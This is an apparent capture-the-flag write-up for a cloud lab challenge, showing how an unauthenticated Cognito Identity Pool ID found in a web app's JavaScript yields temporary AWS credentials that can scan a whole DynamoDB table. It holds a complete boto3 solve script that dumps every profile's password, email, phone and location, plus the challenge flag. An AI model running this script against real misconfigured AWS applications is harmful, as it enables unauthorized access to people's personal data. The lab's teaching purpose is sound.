Complimentary — AWS Cognito & IAM Misconfiguration
Target: http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
Category: Cloud
Difficulty: Easy
Flag: THM{fr33_app_fr33_d4t4!}
Step-by-Step
Step 1 — Recon: Fetch the S3 Website
curl.exe -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
Found a static HTML page loading app.js and the AWS SDK.
Step 2 — Source Code Analysis: app.js
curl.exe -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js
Key findings:
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID,
});
The app uses Cognito Identity Pool to issue temporary AWS credentials to unauthenticated users, then reads from DynamoDB.
Step 3 — Get Temporary AWS Credentials via Cognito
Using Python with boto3:
import boto3
client = boto3.client("cognito-identity", region_name="us-east-1")
identity_response = client.get_id(IdentityPoolId="us-east-1:836c0949-292d-485b-b532-52d5ca7bb688")
creds = client.get_credentials_for_identity(IdentityId=identity_response["IdentityId"])
print(f"AccessKeyId: {creds['Credentials']['AccessKeyId']}")
print(f"SecretKey: {creds['Credentials']['SecretKey']}")
print(f"SessionToken: {creds['Credentials']['SessionToken']}")
Output:
[+] Got Cognito Identity ID: us-east-1:4d571309-b063-c4e6-e6d8-66e669ef0d6d
[+] Got temporary credentials:
AccessKeyId: ASIAU2VYTBGYGDALDNDF
SecretKey: fyKbPeg/OA5+secxeoe+...
SessionToken: IQoJb3JpZ2luX2VjEMz//////////w...
Step 4 — Scan DynamoDB Table
dynamodb = boto3.client(
"dynamodb",
region_name="us-east-1",
aws_access_key_id=creds["Credentials"]["AccessKeyId"],
aws_secret_access_key=creds["Credentials"]["SecretKey"],
aws_session_token=creds["Credentials"]["SessionToken"],
)
response = dynamodb.scan(TableName="complimentary-GuestWellnessProfiles")
Result: 5 items — Lambo, Ponzi, Vibe, Patch, and a hidden VIP profile.
Step 5 — Flag Found
The flag was in guest-vip-042's notes field:
notes: If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_fr33_d4t4!}
Vulnerability
- Cognito Identity Pool allows unauthenticated (guest) access
- The UnauthRole IAM role grants
dynamodb:Scanon the entirecomplimentary-GuestWellnessProfilestable - No row-level restriction — any visitor can dump every guest's data
Full Data Dump
| guest_id | name | flag |
|---|---|---|
| guest-lambo | Lambo (@0xMia) | — |
| guest-ponzi | Ponzi (Satoshi_Probably) | — |
| guest-vibe | Vibe (Move Fast & Break Things) | — |
| guest-patch | Patch (Have You Tried Turning It Off) | — |
| guest-vip-042 | Guest VIP-042 | THM{fr33_app_fr33_d4t4!} |
Tools Used
-
curl.exe— HTTP requests -
boto3(Python AWS SDK) — Cognito identity + DynamoDB scan
# Byte Lotus - Complimentary (AWS Cognito misconfiguration)
# Solves: THM{fr33_app_fr33_d4t4!}
#
# Usage: python solve_complimentary.py
import boto3
IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"
REGION = "us-east-1"
TABLE_NAME = "complimentary-GuestWellnessProfiles"
# Step 1: Get Cognito Identity ID (unauthenticated guest access)
client = boto3.client("cognito-identity", region_name=REGION)
identity_response = client.get_id(IdentityPoolId=IDENTITY_POOL_ID)
identity_id = identity_response["IdentityId"]
print(f"[+] Got Cognito Identity ID: {identity_id}")
# Step 2: Get temporary AWS credentials
credentials_response = client.get_credentials_for_identity(IdentityId=identity_id)
creds = credentials_response["Credentials"]
print(f"[+] Got temporary credentials:")
print(f" AccessKeyId: {creds['AccessKeyId']}")
print(f" SecretKey: {creds['SecretKey'][:20]}...")
print(f" SessionToken: {creds['SessionToken'][:30]}...")
# Step 3: Create DynamoDB client with temp credentials
dynamodb = boto3.client(
"dynamodb",
region_name=REGION,
aws_access_key_id=creds["AccessKeyId"],
aws_secret_access_key=creds["SecretKey"],
aws_session_token=creds["SessionToken"],
)
# Step 4: Scan the entire table (UnauthRole has dynamodb:Scan)
print(f"\n[+] Scanning table: {TABLE_NAME}")
response = dynamodb.scan(TableName=TABLE_NAME)
print(f"[+] Found {len(response['Items'])} guest profiles:\n")
for item in response["Items"]:
guest_id = item.get("guest_id", {}).get("S", "?")
name = item.get("name", {}).get("S", "?")
notes = item.get("notes", {}).get("S", "?")
password = item.get("password", {}).get("S", "?")
location = item.get("location", {}).get("S", "?")
email = item.get("email", {}).get("S", "?")
phone = item.get("phone", {}).get("S", "?")
print(f" guest_id: {guest_id}")
print(f" name: {name}")
print(f" notes: {notes}")
print(f" password: {password}")
print(f" location: {location}")
print(f" email: {email}")
print(f" phone: {phone}")
print()
# Check for flag in any field
for key in item.keys():
val = item[key]
if "S" in val and "THM{" in val["S"]:
print(f" *** FLAG FOUND in {key}: {val['S']} ***\n")

Top comments (0)